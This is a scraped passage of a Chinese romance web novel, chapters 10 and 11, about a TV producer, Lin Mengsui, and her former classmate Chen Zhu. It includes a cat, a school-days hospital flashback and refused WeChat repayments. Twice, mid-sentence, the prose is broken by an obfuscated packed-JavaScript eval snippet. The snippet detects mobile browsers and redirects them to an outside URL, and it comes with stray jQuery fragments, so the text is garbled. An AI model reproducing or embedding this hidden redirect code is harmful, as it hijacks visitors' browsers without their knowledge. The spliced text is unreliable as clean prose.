有什么无形的东西在他们之间流过。 “学长。”郑征扫扫手上的灰,“孟随可能是和警长闹了什么误会,让我帮忙捉警长。” 陈逐眼睫低垂,顿了顿,点头表示知道,然后便轻柔地摸摸警长的脑袋,奶牛猫在他怀里打起呼噜来。 看着这一幕,林孟随定在原地,难以置信。 陈逐收起余光,走进来,对郑征说:“让你准备的开会要用的东西都弄好了?” “哦!对对!”郑征一拍脑袋,跑出去,“我这就发你邮箱!马上。” 休息室里消停了下来,就是稍微乱了些。 陈逐不甚在意,打开柜子拿出一盒罐头,撕开给警长吃。 林孟随还站在沙发旁,为了捉猫,她的头发翘起来了一点,配上此时呆掉了的表情,朱晓慧要是见了,肯定要狠狠捏一捏这张可爱的脸。 “你……” “你……” 两人同时开口。 林孟随抓抓头:“你先说。” 陈逐垂眸看着大口吃肉的警长,半晌没有回应,久到林孟随快要张口了,才问:“病好了?” “嗯。” 林孟随看着和警长密切接触的男人,想问的问题就在嘴边,又不知为何开不了口。 可能是因为过于震惊,也可能是因为别的。 在她犹疑不决时,离离打来电话,说是遇到了大堵车,恐怕得晚些到,问方不方便发一下这两天的工作安排?她得在规定时间内提到台里的OA上。 “我电脑里有。”林孟随说,“你等我一下,我发你手机。” 挂了电话,她看了看陈逐,陈逐在看警长,她不做打扰,转身往门口走。 临要出门,又停下脚步:“那个……” “什么?”陈逐问。 林孟随背过手,抿着唇,黑亮的眼珠转了转。 这模样…… 陈逐皱了下眉。 林孟随:“你西裤让我给踩了。”说完,跑了。 陈逐愣了愣。 等他低头去看,就见自己的西裤被踢在角落里,上面布满女人的鞋印和猫爪印。 他过去捉起裤子一脚拎起来,扑腾起的猫毛跟着乱飞。 警长喵喵叫着过来蹭他的腿,他看看猫,看看裤子,最后轻笑一声。 “一闯祸就这样。” 10. 黑猫警长 林孟随脚底生风。 她偶尔回头看上一眼,见人没追上来,稍稍放心,但下一秒又怕对方冒出来,于是跑得更快……跑了一路,可谓是把“做贼心虚”演绎得淋漓尽致。 到了临时办公室,林孟随关上门,靠在门上长舒了口气。 沾上他,还是怂。 这是历史遗留问题,和胆量无关,她想。 林孟随拿出包里的笔记本电脑,开机找文件,刚找到,离离又发来微信说她邮箱里还有。 —[不好意思啊,小林姐] —[没事,路上注意安全,迟一些没关系] 扣下手机,林孟随呆坐了会儿,随后顺手点进今天的工作任务栏。 她盯着屏幕上的字,认识肯定都认识,就是联结不起来。 满脑子都是:陈逐怎么不猫毛过敏了呢? 这种事难道还会随年龄的增长而好起来? 林孟随疑惑不解,想上网搜搜相关内容,老蔡又扛着机器气喘吁吁地来了。 自上次把话挑明,老蔡转变了许多。 一些男生的小关照暂且不论,关键是老蔡对工作的态度变了,变认真了、上心了,开小组会时会跟着讨论了,对拍摄也不再稀里糊涂,得过且过。 眼下,老蔡带着从台里申请来的两台机器,准备在会议室设置机位,林孟随和他一起忙,两人就光影效果讨论了一番。 不知不觉,就到了开会的时间。 离离踩着点赶在开会的前三分钟冲到科研楼。 林孟随去门口迎她,没想到陈逐从电梯出来,半路“截胡”,挡住了她的视线。 陈逐换了一身衣服。 黑西裤万年不变,上衣则是一件薄款羊绒毛衣,浅灰色,简约大气,毛质柔顺,熨帖在他身上,隐隐勾勒出好看有力的肌肉轮廓。 林孟随也就随便看看,在男人快走到自己身边时,略低下头,飞快地瞅了一下那人的裤子——一尘不染,不见猫毛。 更别说脚印。 衣柜里存货不少啊。 她装成没事人,礼貌问候:“陈总早上好。” 陈逐脚步停滞了一下,回“早上好”,视线扫过女孩白皙修长的脖子。 林孟随今天穿的是一件婴儿蓝一字领针织衫。 早上出门凉,她还围了一条白色羊毛围巾,不过刚刚连同外套一起脱下,放办公室里了。 两人擦肩而过,相安无事。 九点整,人都到齐了,开始开会。 林孟随打开录音笔,老蔡开启摄像机,离离摊开记事本。 会议前半部分主要是总结上一阶段实验中的问题,并进行修正,这部分主要由研发团队里的二号人物,一位女博士来阐述。 会议中期则是各分管内容的负责人汇报工作进度,这些也正常顺畅。 唯独到孙泉那里,他负责的射频实验迟迟没有给下一级提供数据,导致下一级不好开展工作。 双方就此事讨论起来,说的全是专业术语,林孟随他们三个一句听不懂。 老蔡理科奇差,更是听得烦躁,固定好机器,他来找离离借纸巾。 才开了半个小时的会,他满头大汗。 “有这么热吗?”离离问。 老黎压着声抱怨:“不知道谁把空调调高了?刚进来时没这么热。” 林孟随倒觉得现在的温度挺舒服。 她从口袋里掏出一块柠檬薄荷糖给老蔡,让他凉快凉快,还想说矿泉水放后面了,就听前面会议桌被人拍得啪的一响。 “孙泉!这是集体工作,你耍什么?” 孙泉笔扔桌上,混不吝:“那要不我给错误数据吧?你们就有活儿干了。” “你!你这话什么意思?这不赌气抬杠吗?” “我能怎么办?测试一直不通过,我也没辙啊。” “你负责的部分,你没辙?那大家都撂挑子不干好了!” 两边剑拔弩张,眼看要吵起来。 这时候,陈逐起身,做了一个“冷静”的手势,淡定道:“射频实验,我会跟进,下周一定出结果。现在进行下面的内容。” 陈逐开口了,大家都没异议。 孙泉笑道:“就是嘛。大神出手,还不手到擒来?要我说,有大神一个人就够了,要什么团队?不如……” 刘建兰:“老孙。好好开会。” 孙泉不言语了。 插曲过去,后面是郑征讲他那部分的进度,照旧一堆专业名词。 林孟随为了不打瞌睡,在会议室里四处看,转移注意力。 她一会儿看刘建兰的光头,一会儿瞪瞪孙泉,心里暗骂这人阴阳怪气,再一会儿瞄一瞄端坐在最前面的某人。 也没什么好看的。 这人平时就没表情,一认真起来更是面瘫。 可面瘫能瘫这么好看的,恐怕也不多见。 林孟随任由思想放飞到外太空,飞着飞着,她瞧见窗外有猫闲庭信步。 就是她第一次在学校里看见的那只橘猫——大盘鸡。 上次遇到大盘鸡,林孟随就紧张它们会让陈逐过敏,而大盘鸡和小锤锤跑得快,她便理所应当认为是没影响到陈逐。 可陈逐的猫毛过敏症居然好了。 怎么会好呢? 他猫毛过敏最严重的时候,隔着几米的距离都会狂打喷嚏,甚至起红疹。 她当时吓坏了,还为此第一次和他哭…… “对不起!陈逐,对不起!” 医院里,林孟随快哭成泪人儿。 陈逐不知道第多少遍和她说没事,但她哭上头了,哭得两只眼睛比兔子还红,根本听不进去。 医生开了单子,让先打一针缓解。 林孟随吸着鼻子,再三问:“不用住院吗?还是住院吧。” “同学,这症状都在退了,还住什么院啊?”医生是一位白头发老爷爷,慈眉善目,“你要是担心啊,以后别让你同学再靠近猫就行了。” 一听不能靠近猫,女孩脑袋耷拉下来。 她想问医生这个有办法治好吗?可医生让他们快去打针,她不敢耽误。 来到诊室外,陈逐让林孟随在外面等,林孟随不肯,她说这种时候没人陪着会害怕。 陈逐拗不过,由着她。 护士让陈逐脱下校服,卷起T恤袖子,少年的皮肤暴露出来,上面挤着大大小小的红疙瘩,吓人又不雅观。 林孟随站在陈逐身边,背着手,嘴唇紧紧抿着。 见她一直在看自己,陈逐背过身,可无奈手臂后面也是疙瘩,根本遮不住。 “你还是出去吧。”陈逐低声道。 林孟随摇头。 陈逐莫名起了脾气,想强行让她出去,话还没说出口,她眼眶里含起泪花,又要哭。 陈逐皱眉:“不是说没事了吗?” “我怕你疼。”林孟随看着他的胳膊,想碰不敢碰,“疼吗?” 心头似是被什么给戳了一下,刚才那点脾气也烟消云散。 陈逐不再逼她离开,别过头:“不疼。”只是有些痒,“你别再哭了。” 一旁的护士姐姐看着少男少女的互动,笑了笑,说:“好啦。针打下去,配合吃药,这段时间别吃辛辣刺激的东西和发物,很快没事的。” 说罢,护士弹弹针管,过去扎针。 林孟随“感同身受”的毛病又犯了。 她盯着针头,两只手攥得死死的,浑身跟着使劲。 眼看针要刺进去,她恨不得替陈逐挨,但最终也只能是和护士姐姐说一句:“轻点。” 从医院出来,林孟随和陈逐去车站。 比起刚来医院时,陈逐好了很多。 而林孟随也是个好了伤疤忘了疼的主儿,因为她发觉红彤彤的陈逐也蛮好看,跟个剥了壳的荔枝似的,晶莹剔透,白里透红。 这人果然怎么都好看。 林孟随想夸夸他,又想过敏不是好事,还是不要乱夸。 并且,一想到陈逐的猫毛过敏这么严重,她不禁又有些难过了。 陈逐余光看着身边的人从不停偷看他到埋头只顾踢石子,平时说个不停地嘴巴也闭上了,知她是有心事。 指了指医院外的小超市,他问她要不要吃零食? 她说不吃,看看他,惋惜地说:“我以后不能去杨伯伯那里帮忙了。” 杨伯伯是北城一中外一家文具店的老板,平时收养救助了一些流浪动物,有时一中的学生会去做志愿者。 今天是林孟随做志愿者的第一天。 她非拉着陈逐也过去,哪想动物没帮成,倒给陈逐整医院里来了。 林孟随脑袋耷拉得更低,宛如一只脱了水的蘑菇。 “为什么不能去?”陈逐说,“我不去就行。” “那我就少了一天和你一起坐车。” “……” “少一天就少一天。” “我不想少。” 可她也不想重色轻小动物。 林孟随愁眉不展,脚边的石头都叫她踢光了。 过了会儿,公交车来了,两人上车。 林孟随为这件事烦恼,没怎么说话,她不说,陈逐更不会说,就这么安静着,一路摇摇晃晃到站。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379368|184074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >下了车,陈逐往前走一个路口就能到家,林孟随则还要再打车。 她和陈逐说再见,去道边拦车,陈逐叫住了她。 “我可以在外面等。” 少年没头没尾地说了这么一句,但林孟随一下就懂了,眼里也一下亮了。 她忙不迭点头说好,可陈逐又想到即使他在外面等也大概没用,因为她会沾上猫毛,还是能叫他过敏。 林孟随想聪明的时候能特别聪明,她也想到这点,笑着说:“我可以多带一套衣服。做完志愿者,我换新衣服出来。” “你……” “我不嫌麻烦!” 正值雨季年华的少女,甜美灵动,眼眸中更是盛着最纯最真的光芒,任何一个人看了,都不会不心动。 少年甚至不敢再多看,胡乱点点头说“随你”,就要落荒而逃。 可转身之际,窥见女孩又轻轻皱起眉,他的心便也跟着皱了皱,不由自主问怎么了? 还不开心吗? 林孟随没不开心,但她想到了另一件万分可惜的事:“你有猫毛过敏,以后我们没法养猫了。” 微风阵阵,天空中有大雁飞过。 远方传来的鸣笛声划破少年的镇定和武装,他无比羞赧紧张,不知所措,想跑,却没力气,心底对未来的无限憧憬在一刻落地生根。 “林孟随,你知道这话是什么意思吗?” 女孩坚定地看着少年:“知道啊。” …… “小林姐,散会了。小林姐?” 林孟随怔了下,醒过神来。 抬头看去,窗外哪里还有猫? 再四下看看,会议室里已经有人离席,她敛了思绪,关上录音笔,咕哝:“这么快就开完会了?” “这还快?”离离忍不住吐槽,“我听得头都晕了。” 旁边,老蔡为应和这评价,打了个巨大的哈欠:听天书不过如此。 三人从会议室出来。 陈逐比他们早离开,和刘建兰走在前头,两人交谈着什么。 林孟随看看男人的背影,麻烦离离帮她把东西带到办公室去,她稍后过去找他们。 跟着陈逐和刘建兰,林孟随来到科研楼侧面的小花园,她没出楼,躲在门旁,想等他们说完话再过去。 林孟随没什么复杂的想法,她也知道谢不谢的都是虚礼而已,可她得把住院的费用还给人家。 陈逐耳边是刘建兰的喋喋不休。 他望着面前的枯树枝,几次看时间,刘建兰毫无察觉,还在说,他终于出声打断:“这个事我再想想。” “……” “那你可真想啊。”刘建兰严肃道,“别因小失大。” 陈逐“嗯”了声,刘建兰又说:“还有。” “还有什么?” “你是不耐烦吗?”刘建兰不乐意,“我这是替你管事呢,你小子还不情愿了是吧?” “……没有。” “没有什么没有!别以为我看不出来。”刘建兰气呼呼地捋了把光头,继续道,“马上就是学校的冬季义卖活动,你有要卖的吗?” 陈逐:“……” 见对方说不出话了,刘建兰出了口气,憋笑:“回头看看,能卖还是卖。你的行情,你也知道的。” 陈逐:“没别的事了?” “没了。”刘建兰见好就收。 刘建兰走后,陈逐在小花园里站了片刻。 今天天气不错,是个大晴天。 尽管气温低些,但没到寒风刺骨的地步,在室外待着挺舒服。 陈逐在手机上处理了点工作,几处该回办公室核实的数据,他直接心算出结果。 等所有的地方都算完,他又看了看枯树枝,迈步离开。 “陈逐!” 林孟随也不知道自己磨蹭什么,都想好要说的话了,又迟迟踏不出那一步。 要不是见那人要走,她可能得站到明天早上。 现在人也叫了,没退路了,那就上吧。 林孟随走下台阶,来到了陈逐身后,说:“医院的事……” 陈逐转过身,表情似乎几分疑惑:“你是在叫我?” “???” 不然呢? 这里还有别人吗? 林孟随眨眨眼,有点懵。 男人低眸看着她,嘴角轻轻牵引了一下:“听惯了‘陈总’,不太适应。” “……” 或许是今天阳光太好,晃到了林孟随。 她突然产生了一个极为荒谬的想法:这家伙该不会因为她一开始叫了他陈总而生气到现在吧? 11. 黑猫警长 这个想法在林孟随脑海里持续不过一秒。 毕竟实在是太荒谬。 而且,她转念一想,就想出来一个可能性最大的——陈逐是在变向提醒她。 他们现在的往来都源于工作,等工作结束了,估计也不会有交集。 既然如此,在公开场合还是不要让外人察觉出什么来比较好,这样能避免不少麻烦。 女孩子的心思百转千回,林孟随面上不显山露水,只笑笑,重新叫回:“陈总。” 陈逐却也没应。 林孟随:“……” 叫陈总也不对吗? 林孟随越发猜不透这位的心思,她不浪费时间再纠结,索性直奔主题:“之前的事,谢谢你。费用是多少?我现在还给你。” 陈逐一手插着口袋,又把枯树枝收到眼里,过了几秒,说:“交了三四次费用,总花销多少我不知道。” “那你给我看下账单,我算一下。” “不方便。” “什么不方便?” “我没习惯把手机给别人看。” 男人语气还是平淡的,林孟随却有些窘,觉得自己冒犯到人家隐私,她立刻想别的办法。 陈逐注视着树枝的斜角,不言不语。 过了会儿,林孟随同他商量:“要不我直接转一万?两万也行。” “我没有敲诈的打算。” “那……”林孟随挠挠头,“那你愿意我们加下微信吗?你把账单截图发给我,我算好了,直接微信转账。” 陈逐思考犹豫了一下,最后像是没办法的办法,点头:“只能这样了。” 他找到自己的二维码名片,林孟随扫完添加好友,他点下同意。 看到界面上显示的“你已添加了Xi”,陈逐收起手机,回道:“稍晚些发你账单。” 林孟随:“好的。” 两人无话可说,一个向东,一个向西,各自离开。 这时,那只叫警长的奶牛猫从草丛里出来,朝着陈逐直直走去。 陈逐停下脚步,蹲下伸出手,警长眯着眼睛嗅他蹭他的手指,和他十分亲昵。 再次看到这幕人猫和谐,林孟随也又一次按捺不住好奇心,尤其陈逐此时散发出的那种柔和,更叫她卸下防备。 以前就是这样。 只要他袒露出一丝温柔,她便头脑发白,什么都顾不了,身随心动,由着自己的性子对他为所欲为。 此刻,她也是脑袋管不住嘴,张口道:“你的过……” “嗯?” 陈逐转头看过来,林孟随对上那双琥珀色眼睛,卡了一下,冷静下来。 她心里嘲笑自己:又不是对自己柔和。 他的猫毛过敏症好与不好,也与她没关系了。 林孟随笑了笑,反应还算快,接着话:“你的西裤还好吧?” 陈逐又骚了几下警长的下巴,然后站起身,说:“我以为你不想认账。” 林孟随:“……” 她是不想认账。 反正她和他赖皮不是一次两次,甩了他都干得出来,一条裤子算什么? 这不是为了遮过原本的话题,愣再找一个嘛。 “我出干洗费。”林孟随不知尴尬为何物,语气更是在开玩笑,“或者你给我,我拿去给你洗干净,保证完好如新。” “好。” 陈逐撂下一句,转身进了楼。 警长看看林孟随,又看看离去的男人,喵叫着追了上去。 * 回去路上,林孟随琢磨陈逐的“好”是什么意思? 是真要叫她出干洗费?还是叫她拿回去洗? 哪个都不像陈逐能干出来的事。 更何况,他们不应该保持距离吗? 林孟随想不明白,在拐口处看到郑征出电梯,郑征叫她等等,说是有话和她说。 “我找你半天了。”郑征笑着,两颗小虎牙很可爱,“你刚才去哪儿了?” 林孟随打马虎:“没去哪儿。你有什么事?” 郑征手伸到口袋里掏什么,正要说,走廊那边的办公室传来几声争执。 听声音,一个是孙泉,一个应该是今早和他争论的那位同事。 郑征被打断,撇撇嘴,嘟囔:“工作不好好干,闲事倒不少。” 林孟随无心听别人家的“家务事”,但郑征一心和她亲近,少不得八卦几句。 这位孙泉,是团队里年龄第二大的成员。 家里做化工生意,有些家底,不必他忙于生计,所以一连几年备考,去年终于如愿以偿考上了博士。 可虽说考上了,但孙泉的资质平平,至少在团队里,他能力很普通。 之所以让他留在团队里,是因为他的博士导师是陈逐的同门师兄,师兄开口讨人情,陈逐不好拒绝。 “我记得我很早和你说过的吧?”郑征回忆,“带学长博士的那位老教授,德高望重。这位老教授也是老孙博士导师的老师,所以算起辈分来,学长是老孙的师叔。” 林孟随笑道:“孙博士比陈——”她差点嘴秃噜叫陈逐,“比陈总大十岁吧?” 郑征也笑:“对啊!” 因为这,孙泉一直不服陈逐。 办公室里又传来喊叫。 孙泉吼道:“有本事你们让我走人!就怕你们没这个能力!”说完,踢门出来。 郑征抓着林孟随手臂躲避,林孟随挣了一下,手臂抽出来,自己站到拐角后面。 郑征有些不自在,林孟随又说:“你想和我说什么事来着?” “哦!”郑征掏出票来,“我们学校每年这个时候有冬季爱心义卖活动,就在雅拙园举办。到时晚上有夜市,还挺好玩的,你要来看看吗?” 林孟随刚才听刘建兰也提了义卖的事,她问:“你们研发团队参加吗?” “有我们的摊位。” “那好呀。”林孟随收下票。 郑征笑笑,心里盘算什么,但紧跟着又听:“你能再多给我两张票吗?我带着离离和老蔡一起去。这场景应该也能取取材。” 郑征笑容僵了下,说没问题。 和郑征分别,林孟随往电视台的临时办公室去。 陈逐的账单截图在这时候发过来,她算了下,转了一个整数,并发了一个谢谢的表情包。 陈逐没回复。 林孟随有心问西裤的事,但想想说不定陈逐就是随口一应,她要是追着问,反而有套近乎的嫌疑。 于是,西裤的事也就不了了之了…… 几天后,北城大学这边的工作告一段落。 三人小组来学校的次数减少,都是在台里工作,为下一步到云筑做准备。 朱晓慧夸林孟随第一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379369|184074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接项目就有鼻子有眼的,林孟随不过分谦虚,也觉得自己做的还不错。 可任思阳在部门联合会上,当着同事们的面说她进度缓慢,还明褒暗贬地说她是电视台的门面,是得多注意形象,可要是业务水平还能再提高提高,就更完美了。 林孟随会上没有发作,回家冲着抱枕来了一套组合拳。 她越来越认可她爸说的话,可她不认为自己是不适合国内的工作环境,而是不喜欢。 她不喜欢把精力花在人际和职场规则上,只想做出来一档她想要的谈话栏目。 林孟随萌生了些想法,点开微信想找读研时的老同学聊聊,结果发现她给陈逐的转账又退回到她账户了。 林孟随:“……” 自他们加完微信,聊天界面上就是林孟随的“独角戏”。 陈逐从未回复。 他也不用回复,每天微信自会提醒林孟随他的存在,因为他不点接收,转账超过24小时自动退回来。 退一次,林孟随就再转一次,退一次,转一次。 来来回回多日,搞得倒像是他俩每天按点聊天似的。 眼下,林孟随又一次转账,还贴心地留言:记得收款/微笑/。 不然她就只能数现金还钱了。 * 桌面上,手机震了两下。 陈逐目光从电脑屏幕上移开,他摘下眼镜,捏捏眉心,刚要拿起手机,助理在外面敲门。 “请进。” 助理带来几份文件让陈逐签字。 陈逐一目十行浏览内容,助理见缝插针地说:“陈总,电视台那边几次问你是否有时间和他们进行一次谈话。” 陈逐:“谁问?” “那位林姓小姐。” “没时间。” 助理:“……” 这个月,公司只有陈逐坐镇,另一位出去谈合作,大事小事全落在陈逐身上,是忙。 可再忙,时间总能挤出来一些。 助理每每想到那位林小姐拜托他跟进,就不由得心软,想着能帮人家一把是一把。 助理试探:“下周,电视台的人会来公司和公关部的对接,要不陈总你抽些……” 陈逐抬眼,助理闭嘴。 全公司上下,谁都知道他们的技术总监是个天才技术控,为人礼貌客气,可也没谁敢在他面前造次。 因为总监虽重礼,却也清冷至极。 助理爱莫能助了,只能看领导的意愿了。 陈逐看完所有文件,从桌上拿起签字笔,深棕色的笔身衬得他的手更加冷白,助理瞄了眼桌上的笔筒,里面全是这一种笔。 签好字,陈逐将文件整齐地放到桌中央,问:“哪天过来?” “谁?电视台吗?” “嗯。” “周四下午。” 陈逐没应声,助理也没多嘴,敛了文件,离开。 办公室里安静下来。 陈逐靠着椅背,闭目养神,片刻后,他睁开眼,点进手机微信。 内容划两下就能到底,且每一条内容都是一样的,都是一条转账消息,今天倒是加了一句话。 想起以前,他不理她,她自己一个人能打出一篇千字作文来。 如今,今时不同往日。 陈逐锁上屏幕,继续工作。 至于收款,没点。